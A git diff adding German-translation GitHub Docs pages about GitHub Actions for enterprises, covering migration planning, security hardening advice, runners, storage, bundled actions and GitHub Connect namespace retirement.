enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise#enforcing-a-policy-to-restrict-the-use-of-github-actions-in-your-enterprise)."
+
+{% ifversion actions-workflow-policy %}
+![Screenshot of {% data variables.product.prodname_actions %} policies](/assets/images/help/organizations/enterprise-actions-policy-with-workflows.png)
+{%- else %}
+![Screenshot of {% data variables.product.prodname_actions %} policies](/assets/images/help/organizations/enterprise-actions-policy.png)
+{%- endif %}
+
+{% ifversion ghec or ghes > 3.4 %}
+Consider combining OpenID Connect (OIDC) with reusable workflows to enforce consistent deployments across your repository, organization, or enterprise. You can do this by defining trust conditions on cloud roles based on reusable workflows. For more information, see "[Using OpenID Connect with reusable workflows](/actions/deployment/security-hardening-your-deployments/using-openid-connect-with-reusable-workflows)."
+{% endif %}
+
+You can access information about activity related to {% data variables.product.prodname_actions %} in the audit logs for your enterprise. If your business needs require retaining this information longer than audit log data is retained, plan how you'll export and store this data outside of {% data variables.product.prodname_dotcom %}. For more information, see {% ifversion ghec %}"[Exporting audit log activity for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/exporting-audit-log-activity-for-your-enterprise)" and "[Streaming the audit log for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/streaming-the-audit-log-for-your-enterprise)."{% else %}{% ifversion audit-log-streaming %}"[Streaming the audit log for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/streaming-the-audit-log-for-your-enterprise)" and {% endif %}"[Log forwarding](/admin/monitoring-activity-in-your-enterprise/exploring-user-activity/log-forwarding)."{% endif %}
+
+![Audit log entries](/assets/images/help/repository/audit-log-entries.png)
+
+## Security
+
+You should plan your approach to security hardening for {% data variables.product.prodname_actions %}.
+
+### Security hardening individual workflows and repositories
+
+Make a plan to enforce good security practices for people using {% data variables.product.prodname_actions %} features within your enterprise. For more information about these practices, see "[Security hardening for {% data variables.product.prodname_actions %}](/actions/security-guides/security-hardening-for-github-actions)."
+
+You can also encourage reuse of workflows that have already been evaluated for security. For more information, see "[Innersourcing](#innersourcing)."
+
+### Securing access to secrets and deployment resources
+
+You should plan where you'll store your secrets. We recommend storing secrets in {% data variables.product.prodname_dotcom %}, but you might choose to store secrets in a cloud provider.
+
+In {% data variables.product.prodname_dotcom %}, you can store secrets at the repository or organization level. Secrets at the repository level can be limited to workflows in certain environments, such as production or testing. For more information, see "[Encrypted secrets](/actions/security-guides/encrypted-secrets)."
+
+![Screenshot of a list of secrets](/assets/images/help/settings/actions-org-secrets-list.png)
+You should consider adding manual approval protection for sensitive environments, so that workflows must be approved before getting access to the environments' secrets. For more information, see "[Using environments for deployments](/actions/deployment/targeting-different-environments/using-environments-for-deployment)."
+
+### Security considerations for third-party actions
+
+There is significant risk in sourcing actions from third-party repositories on {% data variables.product.prodname_dotcom %}. If you do allow any third-party actions, you should create internal guidelines that encourage your team to follow best practices, such as pinning actions to the full commit SHA. For more information, see "[Using third-party actions](/actions/security-guides/security-hardening-for-github-actions#using-third-party-actions)."
+
+## Innersourcing
+
+Think about how your enterprise can use features of {% data variables.product.prodname_actions %} to innersource automation. Innersourcing is a way to incorporate the benefits of open source methodologies into your internal software development cycle. For more information, see [An introduction to innersource](https://resources.github.com/whitepapers/introduction-to-innersource/) in {% data variables.product.company_short %} Resources.
+
+{% data reusables.actions.internal-actions-summary %}
+
+{% ifversion ghec or ghes > 3.3 or ghae > 3.3 %}
+{% data reusables.actions.reusable-workflows-ghes-beta %}
+With reusable workflows, your team can call one workflow from another workflow, avoiding exact duplication. Reusable workflows promote best practice by helping your team use workflows that are well designed and have already been tested. For more information, see "[Reusing workflows](/actions/learn-github-actions/reusing-workflows)."
+{% endif %}
+
+To provide a starting place for developers building new workflows, you can use starter workflows. This not only saves time for your developers, but promotes consistency and best practice across your enterprise. For more information, see "[Creating starter workflows for your organization](/actions/learn-github-actions/creating-starter-workflows-for-your-organization)."
+
+{% ifversion not internal-actions %}
+Whenever your workflow developers want to use an action that's stored in a private repository, they must configure the workflow to clone the repository first. To reduce the number of repositories that must be cloned, consider grouping commonly used actions in a single repository. For more information, see "[About custom actions](/actions/creating-actions/about-custom-actions#choosing-a-location-for-your-action)."
+{% endif %}
+
+## Managing resources
+
+You should plan for how you'll manage the resources required to use {% data variables.product.prodname_actions %}.
+
+{% ifversion ghes %}
+### Hardware requirements
+
+You may need to upgrade the CPU and memory resources for {% data variables.location.product_location %} to handle the load from {% data variables.product.prodname_actions %} without causing performance loss. For more information, see "[Getting started with {% data variables.product.prodname_actions %} for {% data variables.product.prodname_ghe_server %}](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server#review-hardware-requirements)."
+{% endif %}
+
+### Runners
+
+{% data variables.product.prodname_actions %} workflows require runners.{% ifversion ghec %} You can choose to use {% data variables.product.prodname_dotcom %}-hosted runners or self-hosted runners. {% data variables.product.prodname_dotcom %}-hosted runners are convenient because they are managed by {% data variables.product.company_short %}, who handles maintenance and upgrades for you. However, you may want to consider self-hosted runners if you need to run a workflow that will access resources behind your firewall or you want more control over the resources, configuration, or geographic location of your runner machines. For more information, see "[About {% data variables.product.prodname_dotcom %}-hosted runners](/actions/using-github-hosted-runners/about-github-hosted-runners)" and "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners)."{% else %} You will need to host your own runners by installing the {% data variables.product.prodname_actions %} self-hosted runner application on your own machines. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners)."{% endif %}
+
+{% ifversion ghec %}If you are using self-hosted runners, you have to decide whether you want to use physical machines, virtual machines, or containers.{% else %}Decide whether you want to use physical machines, virtual machines, or containers for your self-hosted runners.{% endif %} Physical machines will retain remnants of previous jobs, and so will virtual machines unless you use a fresh image for each job or clean up the machines after each job run. If you choose containers, you should be aware that the runner auto-updating will shut down the container, which can cause workflows to fail. You should come up with a solution for this by preventing auto-updates or skipping the command to kill the container.
+
+You also have to decide where to add each runner. You can add a self-hosted runner to an individual repository, or you can make the runner available to an entire organization or your entire enterprise. Adding runners at the organization or enterprise levels allows sharing of runners, which might reduce the size of your runner infrastructure. You can use policies to limit access to self-hosted runners at the organization and enterprise levels by assigning groups of runners to specific repositories or organizations. For more information, see "[Adding self-hosted runners](/actions/hosting-your-own-runners/adding-self-hosted-runners)" and "[Managing access to self-hosted runners using groups](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups)."
+
+{% ifversion ghec or ghes %}
+You should consider using autoscaling to automatically increase or decrease the number of available self-hosted runners. For more information, see "[Autoscaling with self-hosted runners](/actions/hosting-your-own-runners/autoscaling-with-self-hosted-runners)."
+{% endif %}
+
+Finally, you should consider security hardening for self-hosted runners. For more information, see "[Security hardening for {% data variables.product.prodname_actions %}](/actions/security-guides/security-hardening-for-github-actions#hardening-for-self-hosted-runners)."
+
+### Storage
+
+{% data reusables.actions.about-artifacts %} For more information, see "[Storing workflow data as artifacts](/actions/advanced-guides/storing-workflow-data-as-artifacts)." 
+
+{% ifversion actions-caching %}{% data variables.product.prodname_actions %} also has a caching system that you can use to cache dependencies to speed up workflow runs. For more information, see "[Caching dependencies to speed up workflows](/actions/using-workflows/caching-dependencies-to-speed-up-workflows)."{% endif %}
+
+{% ifversion ghes %}
+You must configure external blob storage for workflow artifacts{% ifversion actions-caching %}, caches,{% endif %} and other workflow logs. Decide which supported storage provider your enterprise will use. For more information, see "[Getting started with {% data variables.product.prodname_actions %} for {% data variables.product.product_name %}](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server#external-storage-requirements)."
+{% endif %}
+
+{% ifversion ghec or ghes %}
+
+You can use policy settings for {% data variables.product.prodname_actions %} to customize the storage of workflow artifacts{% ifversion actions-caching %}, caches,{% endif %} and log retention. For more information, see "[Enforcing policies for {% data variables.product.prodname_actions %} in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise)."
+
+{% endif %}
+
+{% ifversion ghec %}
+Some storage is included in your subscription, but additional storage will affect your bill. You should plan for this cost. For more information, see "[About billing for {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions/about-billing-for-github-actions)."
+{% endif %}
+
+## Tracking usage
+
+You should consider making a plan to track your enterprise's usage of {% data variables.product.prodname_actions %}, such as how often workflows are running, how many of those runs are passing and failing, and which repositories are using which workflows.
+
+{% ifversion ghec %}
+You can see basic details of storage and data transfer usage of {% data variables.product.prodname_actions %} for each organization in your enterprise via your billing settings. For more information, see "[Viewing your {% data variables.product.prodname_actions %} usage](/billing/managing-billing-for-github-actions/viewing-your-github-actions-usage#viewing-github-actions-usage-for-your-enterprise-account)."
+
+For more detailed usage data, you{% else %}You{% endif %} can use webhooks to subscribe to information about workflow jobs and workflow runs. For more information, see "[About webhooks](/developers/webhooks-and-events/webhooks/about-webhooks)."
+
+Make a plan for how your enterprise can pass the information from these webhooks into a data archiving system. You can consider using "CEDAR.GitHub.Collector", an open source tool that collects and processes webhook data from {% data variables.product.prodname_dotcom %}. For more information, see the [`Microsoft/CEDAR.GitHub.Collector` repository](https://github.com/microsoft/CEDAR.GitHub.Collector/).
+
+You should also plan how you'll enable your teams to get the data they need from your archiving system.
diff --git a/translations/de-DE/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/migrating-your-enterprise-to-github-actions.md b/translations/de-DE/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/migrating-your-enterprise-to-github-actions.md
new file mode 100644
index 0000000000..58f812ba1b
--- /dev/null
+++ b/translations/de-DE/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/migrating-your-enterprise-to-github-actions.md
@@ -0,0 +1,87 @@
+---
+title: Migrating your enterprise to GitHub Actions
+shortTitle: Migrate to Actions
+intro: 'Learn how to plan a migration to {% data variables.product.prodname_actions %} for your enterprise from another provider.'
+versions:
+  ghec: '*'
+  ghes: '*'
+  ghae: '*'
+type: how_to
+topics:
+  - Actions
+  - Enterprise
+---
+
+## About enterprise migrations to {% data variables.product.prodname_actions %}
+
+To migrate your enterprise to {% data variables.product.prodname_actions %} from an existing system, you can plan the migration, complete the migration, and retire existing systems.
+
+This guide addresses specific considerations for migrations. For additional information about introducing {% data variables.product.prodname_actions %} to your enterprise, see "[Introducing {% data variables.product.prodname_actions %} to your enterprise](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/introducing-github-actions-to-your-enterprise)."
+
+## Planning your migration
+
+Before you begin migrating your enterprise to {% data variables.product.prodname_actions %}, you should identify which workflows will be migrated and how those migrations will affect your teams, then plan how and when you will complete the migrations.
+
+### Leveraging migration specialists
+
+{% data variables.product.company_short %} can help with your migration, and you may also benefit from purchasing {% data variables.product.prodname_professional_services %}. For more information, contact your dedicated representative or {% data variables.contact.contact_enterprise_sales %}.
+
+### Identifying and inventorying migration targets
+
+Before you can migrate to {% data variables.product.prodname_actions %}, you need to have a complete understanding of the workflows being used by your enterprise in your existing system.
+
+First, create an inventory of the existing build and release workflows within your enterprise, gathering information about which workflows are being actively used and need to migrated and which can be left behind.
+
+Next, learn the differences between your current provider and {% data variables.product.prodname_actions %}. This will help you assess any difficulties in migrating each workflow, and where your enterprise might experience differences in features. For more information, see "[Migrating to {% data variables.product.prodname_actions %}](/actions/migrating-to-github-actions)."
+
+With this information, you'll be able to determine which workflows you can and want to migrate to {% data variables.product.prodname_actions %}.
+
+### Determine team impacts from migrations
+
+When you change the tools being used within your enterprise, you influence how your team works. You'll need to consider how moving a workflow from your existing systems to {% data variables.product.prodname_actions %} will affect your developers' day-to-day work.
+
+Identify any processes, integrations, and third-party tools that will be affected by your migration, and make a plan for any updates you'll need to make.
+
+Consider how the migration may affect your compliance concerns. For example, will your existing credential scanning and security analysis tools work with {% data variables.product.prodname_actions %}, or will you need to use new tools?
+
+Identify the gates and checks in your existing system and verify that you can implement them with {% data variables.product.prodname_actions %}.
+
+### Identifying and validating migration tools
+
+Automated migration tools can translate your enterprise's workflows from the existing system's syntax to the syntax required by {% data variables.product.prodname_actions %}. Identify third-party tooling or contact your dedicated representative or {% data variables.contact.contact_enterprise_sales %} to ask about tools that {% data variables.product.company_short %} can provide. For example, you can use the {% data variables.product.prodname_actions_importer %} to plan, scope, and migrate your CI pipelines to {% data variables.product.prodname_actions %} from various supported services. For more information, see "[Automating migration with {% data variables.product.prodname_actions_importer %}](/actions/migrating-to-github-actions/automating-migration-with-github-actions-importer)."
+
+After you've identified a tool to automate your migrations, validate the tool by running the tool on some test workflows and verifying that the results are as expected.
+
+Automated tooling should be able to migrate the majority of your workflows, but you'll likely need to manually rewrite at least a small percentage. Estimate the amount of manual work you'll need to complete.
+
+### Deciding on a migration approach
+
+Determine the migration approach that will work best for your enterprise. Smaller teams may be able to migrate all their workflows at once, with a "rip-and-replace" approach. For larger enterprises, an iterative approach may be more realistic. You can choose to have a central body manage the entire migration or you can ask individual teams to self serve by migrating their own workflows.
+
+We recommend an iterative approach that combines active management with self service. Start with a small group of early adopters that can act as your internal champions. Identify a handful of workflows that are comprehensive enough to represent the breadth of your business. Work with your early adopters to migrate those workflows to {% data variables.product.prodname_actions %}, iterating as needed. This will give other teams confidence that their workflows can be migrated, too.
+
+Then, make {% data variables.product.prodname_actions %} available to your larger organization. Provide resources to help these teams migrate their own workflows to {% data variables.product.prodname_actions %}, and inform the teams when the existing systems will be retired. 
+
+Finally, inform any teams that are still using your old systems to complete their migrations within a specific timeframe. You can point to the successes of other teams to reassure them that migration is possible and desirable.
+
+### Defining your migration schedule
+
+After you decide on a migration approach, build a schedule that outlines when each of your teams will migrate their workflows to {% data variables.product.prodname_actions %}.
+
+First, decide the date you'd like your migration to be complete. For example, you can plan to complete your migration by the time your contract with your current provider ends.
+
+Then, work with your teams to create a schedule that meets your deadline without sacrificing their team goals. Look at your business's cadence and the workload of each individual team you're asking to migrate. Coordinate with each team to understand their delivery schedules and create a plan that allows the team to migrate their workflows at a time that won't impact their ability to deliver.
+
+## Migrating to {% data variables.product.prodname_actions %}
+
+When you're ready to start your migration, translate your existing workflows to {% data variables.product.prodname_actions %} using the automated tooling and manual rewriting you planned for above.
+
+You may also want to maintain old build artifacts from your existing system, perhaps by writing a scripted process to archive the artifacts.
+
+## Retiring existing systems
+
+After your migration is complete, you can think about retiring your existing system.
+
+You may want to run both systems side-by-side for some period of time, while you verify that your {% data variables.product.prodname_actions %} configuration is stable, with no degradation of experience for developers.
+
+Eventually, decommission and shut off the old systems, and ensure that no one within your enterprise can turn the old systems back on.
diff --git a/translations/de-DE/content/admin/github-actions/index.md b/translations/de-DE/content/admin/github-actions/index.md
new file mode 100644
index 0000000000..4e2ed80c27
--- /dev/null
+++ b/translations/de-DE/content/admin/github-actions/index.md
@@ -0,0 +1,26 @@
+---
+title: Verwalten von GitHub Actions für dein Unternehmen
+intro: 'Aktiviere {% data variables.product.prodname_actions %} auf {% ifversion ghae %}{% data variables.product.prodname_ghe_managed %}{% else %}{% data variables.product.prodname_ghe_server %}{% endif %}, und verwalte {% data variables.product.prodname_actions %}-Richtlinien und -Einstellungen.'
+redirect_from:
+  - /enterprise/admin/github-actions
+versions:
+  ghec: '*'
+  ghes: '*'
+  ghae: '*'
+topics:
+  - Enterprise
+children:
+  - /getting-started-with-github-actions-for-your-enterprise
+  - /using-github-actions-in-github-ae
+  - /enabling-github-actions-for-github-enterprise-server
+  - /managing-access-to-actions-from-githubcom
+  - /advanced-configuration-and-troubleshooting
+shortTitle: Manage GitHub Actions
+ms.openlocfilehash: 6a7453caba7702270eee7b51214b38e49c00ceb1
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145106788'
+---
+{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %}
diff --git a/translations/de-DE/content/admin/github-actions/managing-access-to-actions-from-githubcom/about-using-actions-in-your-enterprise.md b/translations/de-DE/content/admin/github-actions/managing-access-to-actions-from-githubcom/about-using-actions-in-your-enterprise.md
new file mode 100644
index 0000000000..8aa85ea18f
--- /dev/null
+++ b/translations/de-DE/content/admin/github-actions/managing-access-to-actions-from-githubcom/about-using-actions-in-your-enterprise.md
@@ -0,0 +1,74 @@
+---
+title: About using actions in your enterprise
+intro: '{% data variables.product.product_name %} includes most {% data variables.product.prodname_dotcom %}-authored actions, and has options for enabling access to other actions from {% data variables.product.prodname_dotcom_the_website %} and {% data variables.product.prodname_marketplace %}.'
+redirect_from:
+  - /enterprise/admin/github-actions/about-using-githubcom-actions-on-github-enterprise-server
+  - /admin/github-actions/about-using-githubcom-actions-on-github-enterprise-server
+  - /admin/github-actions/about-using-actions-on-github-enterprise-server
+  - /admin/github-actions/about-using-actions-in-your-enterprise
+versions:
+  ghes: '*'
+  ghae: '*'
+type: overview
+topics:
+  - Actions
+  - Enterprise
+shortTitle: About actions in your enterprise
+---
+
+{% data reusables.actions.enterprise-beta %}
+{% data reusables.actions.enterprise-github-hosted-runners %}
+
+## About actions on {% data variables.product.product_name %}
+
+{% data variables.product.prodname_actions %} workflows can use _actions_, which are individual tasks that you can combine to create jobs and customize your workflow. You can create your own actions, or use and customize actions shared by the {% data variables.product.prodname_dotcom %} community.
+
+{% data reusables.actions.enterprise-no-internet-actions %} You can restrict your developers to using actions that are stored on {% data variables.location.product_location %}, which includes most official {% data variables.product.company_short %}-authored actions, as well as any actions your developers create. Alternatively, to allow your developers to benefit from the full ecosystem of actions built by industry leaders and the open source community, you can configure access to other actions from {% data variables.product.prodname_dotcom_the_website %}. 
+
+We recommend allowing automatic access to all actions from {% data variables.product.prodname_dotcom_the_website %}. {% ifversion ghes %}However, this does require {% data variables.product.product_name %} to make outbound connections to {% data variables.product.prodname_dotcom_the_website %}. If you don't want to allow these connections, or{% else %}If{% endif %} you want to have greater control over which actions are used on your enterprise, you can manually sync specific actions from {% data variables.product.prodname_dotcom_the_website %}.
+
+## Official actions bundled with your enterprise instance
+
+{% data reusables.actions.actions-bundled-with-ghes %}
+
+The bundled official actions include the following, among others.
+- `actions/checkout`
+- `actions/upload-artifact`
+- `actions/download-artifact`
+- `actions/labeler`
+- Various `actions/setup-` actions
+
+To see all the official actions included on your enterprise instance, browse to the `actions` organization on your instance: <code>https://<em>HOSTNAME</em>/actions</code>.
+
+There is no connection required between {% data variables.location.product_location %} and {% data variables.product.prodname_dotcom_the_website %} to use these actions.
+
+Each action is a repository in the `actions` organization, and each action repository includes the necessary tags, branches, and commit SHAs that your workflows can use to reference the action. For information on how to update the bundled official actions, see "[Using the latest version of the official bundled actions](/admin/github-actions/using-the-latest-version-of-the-official-bundled-actions)."
+
+{% note %}
+
+**Notes:** 
+- When using setup actions (such as `actions/setup-LANGUAGE`) on {% data variables.product.product_name %} with self-hosted runners, you might need to set up the tools cache on runners that do not have internet access. For more information, see "[Setting up the tool cache on self-hosted runners without internet access](/enterprise/admin/github-actions/setting-up-the-tool-cache-on-self-hosted-runners-without-internet-access)."
+- When {% data variables.product.product_name %} is updated, bundled actions are automatically replaced with default versions in the upgrade package.
+
+{% endnote %}
+
+## Configuring access to actions on {% data variables.product.prodname_dotcom_the_website %}
+
+{% data reusables.actions.access-actions-on-dotcom %}
+
+The recommended approach is to enable automatic access to all actions from {% data variables.product.prodname_dotcom_the_website %}. You can do this by using {% data variables.product.prodname_github_connect %} to integrate {% data variables.product.product_name %} with {% data variables.product.prodname_ghe_cloud %}. For more information, see "[Enabling automatic access to {% data variables.product.prodname_dotcom_the_website %} actions using {% data variables.product.prodname_github_connect %}](/enterprise/admin/github-actions/enabling-automatic-access-to-githubcom-actions-using-github-connect)". 
+
+{% ifversion ghes %}
+{% note %}
+
+**Note:** Before you can configure access to actions on {% data variables.product.prodname_dotcom_the_website %}, you must configure {% data variables.location.product_location %} to use {% data variables.product.prodname_actions %}. For more information, see "[Getting started with {% data variables.product.prodname_actions %} for GitHub Enterprise Server](/admin/github-actions/enabling-github-actions-for-github-enterprise-server/getting-started-with-github-actions-for-github-enterprise-server)."
+
+
+{% endnote %}
+{% endif %}
+
+{% data reusables.actions.self-hosted-runner-networking-to-dotcom %}
+
+{% data reusables.actions.enterprise-limit-actions-use %}
+
+Alternatively, if you want stricter control over which actions are allowed in your enterprise, or you do not want to allow outbound connections to {% data variables.product.prodname_dotcom_the_website %}, you can manually download and sync actions onto your enterprise instance using the `actions-sync` tool. For more information, see "[Manually syncing actions from {% data variables.product.prodname_dotcom_the_website %}](/enterprise/admin/github-actions/manually-syncing-actions-from-githubcom)."
diff --git a/translations/de-DE/content/admin/github-actions/managing-access-to-actions-from-githubcom/enabling-automatic-access-to-githubcom-actions-using-github-connect.md b/translations/de-DE/content/admin/github-actions/managing-access-to-actions-from-githubcom/enabling-automatic-access-to-githubcom-actions-using-github-connect.md
new file mode 100644
index 0000000000..8ff31e08e7
--- /dev/null
+++ b/translations/de-DE/content/admin/github-actions/managing-access-to-actions-from-githubcom/enabling-automatic-access-to-githubcom-actions-using-github-connect.md
@@ -0,0 +1,70 @@
+---
+title: Aktivieren des automatischen Zugriffs auf GitHub.com-Aktionen mit GitHub Connect
+intro: 'Damit {% data variables.product.prodname_actions %} in deinem Unternehmen Aktionen von {% data variables.product.prodname_dotcom_the_website %} durchführen kann, kannst du deine Unternehmensinstanz mit {% data variables.product.prodname_ghe_cloud %} verbinden.'
+permissions: 'Enterprise owners can enable access to all {% data variables.product.prodname_dotcom_the_website %} actions.'
+redirect_from:
+  - /enterprise/admin/github-actions/enabling-automatic-access-to-githubcom-actions-using-github-connect
+  - /admin/github-actions/enabling-automatic-access-to-githubcom-actions-using-github-connect
+versions:
+  ghes: '*'
+  ghae: '*'
+type: how_to
+topics:
+  - Actions
+  - Enterprise
+  - GitHub Connect
+shortTitle: Use GitHub Connect for actions
+ms.openlocfilehash: e666929288a63dc35ffe98a734918e3495579939
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148107261'
+---
+{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %}
+
+## Informationen zum automatischen Zugriff auf {% data variables.product.prodname_dotcom_the_website %}-Aktionen
+
+Standardmäßig können in {% data variables.product.prodname_actions %}-Workflows in {% data variables.product.product_name %} keine Aktionen direkt von {% data variables.product.prodname_dotcom_the_website %} oder [{% data variables.product.prodname_marketplace %}](https://github.com/marketplace?type=actions) verwendet werden. Du kannst {% data variables.product.prodname_github_connect %} dazu verwenden, {% data variables.product.product_name %} mit {% data variables.product.prodname_ghe_cloud %} zu integrieren, um alle Aktionen von {% data variables.product.prodname_dotcom_the_website %} in deiner Unternehmensinstanz verfügbar zu machen. 
+
+{% data reusables.actions.self-hosted-runner-networking-to-dotcom %}
+
+Wenn du über eine strenge Kontrolle darüber verfügen möchtest, welche Aktionen in deinem Unternehmen zulässig sind, kannst du alternativ dazu mit dem `actions-sync`-Tool Aktionen manuell in deine Unternehmensinstanz herunterladen und synchronisieren. Weitere Informationen findest du unter [Manuelles Synchronisieren von Aktionen von {% data variables.product.prodname_dotcom_the_website %}](/enterprise/admin/github-actions/manually-syncing-actions-from-githubcom).
+
+## Informationen zur Auflösung von Aktionen mit {% data variables.product.prodname_github_connect %}
+
+{% data reusables.actions.github-connect-resolution %}
+
+Wenn ein*e Benutzer*in bereits eine Organisation und ein Repository im Unternehmen erstellt hat, die bzw. das einem Organisations- und Repositorynamen auf {% data variables.product.prodname_dotcom_the_website %} entspricht, wird das Repository in deinem Unternehmen anstelle des {% data variables.product.prodname_dotcom_the_website %}-Repositorys verwendet. {% ifversion ghae %}Ein böswilliger Benutzer könnte diese Vorgehensweise ausnutzen, um Code als Teil eines Workflows auszuführen.{% else %}Weitere Informationen findest du unter [Automatisches Deaktivieren von Namespaces für Aktionen, auf die über {% data variables.product.prodname_dotcom_the_website%} zugegriffen wird](#automatic-retirement-of-namespaces-for-actions-accessed-on-githubcom).
+{% endif %}
+
+## Aktivieren des automatischen Zugriffs auf alle {% data variables.product.prodname_dotcom_the_website %}-Aktionen
+
+Bevor du den Zugriff auf alle Aktionen von {% data variables.product.prodname_dotcom_the_website %} für dein Unternehmen aktivierst, musst du folgende Schritte ausführen{% ifversion ghes %}:
+- Konfiguriere {% data variables.location.product_location %} für die Verwendung von {% data variables.product.prodname_actions %}. Weitere Informationen findest du unter [Erste Schritte mit {% data variables.product.prodname_actions %} für GitHub Enterprise Server](/admin/github-actions/enabling-github-actions-for-github-enterprise-server/getting-started-with-github-actions-for-github-enterprise-server).
+- Aktiviere {% else %} aktiviere{% endif %} {% data variables.product.prodname_github_connect %}. Weitere Informationen findest du unter [Verwalten von {% data variables.product.prodname_github_connect %}](/admin/configuration/configuring-github-connect/managing-github-connect).
+
+{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.github-connect-tab %}
+1. Verwende unter „Users can utilize actions from GitHub.com in workflow runs“ (Benutzer können Aktionen von GitHub.com in Workflowausführungen nutzen), das Dropdownmenü, und wähle **Enabled** (Aktiviert) aus.
+  ![Dropdownmenü zu Aktionen von GitHub.com in Workflowausführungen](/assets/images/enterprise/site-admin-settings/enable-marketplace-actions-drop-down-ae.png)
+1. {% data reusables.actions.enterprise-limit-actions-use %}
+
+## Automatisches Deaktivieren von Namespaces für Aktionen, auf die über {% data variables.product.prodname_dotcom_the_website %} zugegriffen wird
+
+Wenn du {% data variables.product.prodname_github_connect %} aktivierst, nehmen Benutzer für bestehende Workflows keine Änderung am Systemverhalten wahr, da von {% data variables.product.prodname_actions %} die {% data variables.location.product_location %} nach den einzelnen Aktionen durchsucht wird, bevor auf {% data variables.product.prodname_dotcom_the_website%} zurückgegriffen wird. Dadurch wird sichergestellt, dass alle benutzerdefinierten Versionen der von deinem Unternehmen erstellten Aktionen vorrangig vor ihren Pendants auf {% data variables.product.prodname_dotcom_the_website%} verwendet werden.
+
+Durch automatisches Deaktivieren von Namespaces für Aktionen, auf die über {% data variables.product.prodname_dotcom_the_website %} zugegriffen wird, wird die Gefahr von Man-in-the-Middle-Angriffen durch einen böswilligen Benutzer, der auf {% data variables.location.product_location %} zugreifen kann, ausgeschlossen. Wenn eine Aktion auf {% data variables.product.prodname_dotcom_the_website %} zum ersten Mal verwendet wird, wird der entsprechende Namespace in {% data variables.location.product_location %} deaktiviert. Dadurch wird verhindert, dass ein*e Benutzer*in eine Organisation und ein Repository in deinem Unternehmen erstellen kann, die bzw. das dem Namen dieser Organisation und des Repositorys auf {% data variables.product.prodname_dotcom_the_website %} entspricht. So wird sichergestellt, dass beim Ausführen eines Workflows immer die beabsichtigte Aktion ausgeführt wird.
+
+Wenn du nach Verwendung einer Aktion von {% data variables.product.prodname_dotcom_the_website %} eine Aktion in {% data variables.location.product_location %} mit demselben Namen erstellen möchtest, musst du zunächst den Namespace für diese Organisation und das Repository verfügbar machen.
+
+{% data reusables.enterprise_site_admin_settings.access-settings %}
+2. Klicke in der linken Randleiste unter **Site admin** (Websiteadministrator) auf **Retired Namespaces** (Deaktivierte Namespaces).
+3. Suche den Namespace, den du in {% data variables.location.product_location %} verwenden möchtest, und klicke auf **Deaktivierung aufheben**.
+   ![Aufheben der Deaktivierung des Namespace](/assets/images/enterprise/site-admin-settings/unretire-namespace.png)
+4. Wechsle zur relevanten Organisation, und erstelle ein neues Repository.
+
+   {% tip %}
+
+   **Tipp:** Wenn du die Deaktivierung eines Namespace aufhebst, erstellst du das neue Repository mit diesem Namen immer so schnell wie möglich. Wenn von einem Workflow die zugeordnete Aktion auf {% data variables.product.prodname_dotcom_the_website %} aufgerufen wird, bevor du das lokale Repository erstellst, wird der Namespace wieder deaktiviert. Bei Aktionen, die in häufig ausgeführten Workflows verwendet werden, kann es passieren, dass ein Namespace wieder deaktiviert wird, noch bevor du Zeit zum Erstellen des lokalen Repositorys hast. In diesem Fall kannst du die relevanten Workflows vorübergehend deaktivieren, bis du das neue Repository erstellt hast.
+
+   {% endtip %}
diff --git a/translations/de-DE/content/admin/github-actions/managing-access-to-actions-from-githubcom/index.md b/translations/de-DE/content/admin/github-actions/managing-access-to-actions-from-githubcom/index.md
new file mode 100644
index 0000000000..3c09007ac1
--- /dev/null
+++ b/translations/de-DE/content/admin/github-actions/managing-access-to-actions-from-githubcom/index.md
@@ -0,0 +1,25 @@
+---
+title: Verwalten des Zugriffs auf Aktionen in GitHub.com
+intro: 'Steuern, welche Aktionen für {% data variables.product.prodname_dotcom_the_website %} und {% data variables.product.prodname_marketplace %} in deinem Unternehmen verwendet werden können.'
+redirect_from:
+  - /enterprise/admin/github-actions/managing-access-to-actions-from-githubcom
+versions:
+  ghes: '*'
+  ghae: '*'
+topics:
+  - Enterprise
+children:
+  - /about-using-actions-in-your-enterprise
+  - /enabling-automatic-access-to-githubcom-actions-using-github-connect
+  - /manually-syncing-actions-from-githubcom
+  - /using-the-latest-version-of-the-official-bundled-actions
+  - /setting-up-the-tool-cache-on-self-hosted-runners-without-internet-access
+shortTitle: Manage access to actions
+ms.openlocfilehash: 080be2c0f08cf3ec7f5a0b8cc3d9220691a9e1e6
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145104935'
+---
+
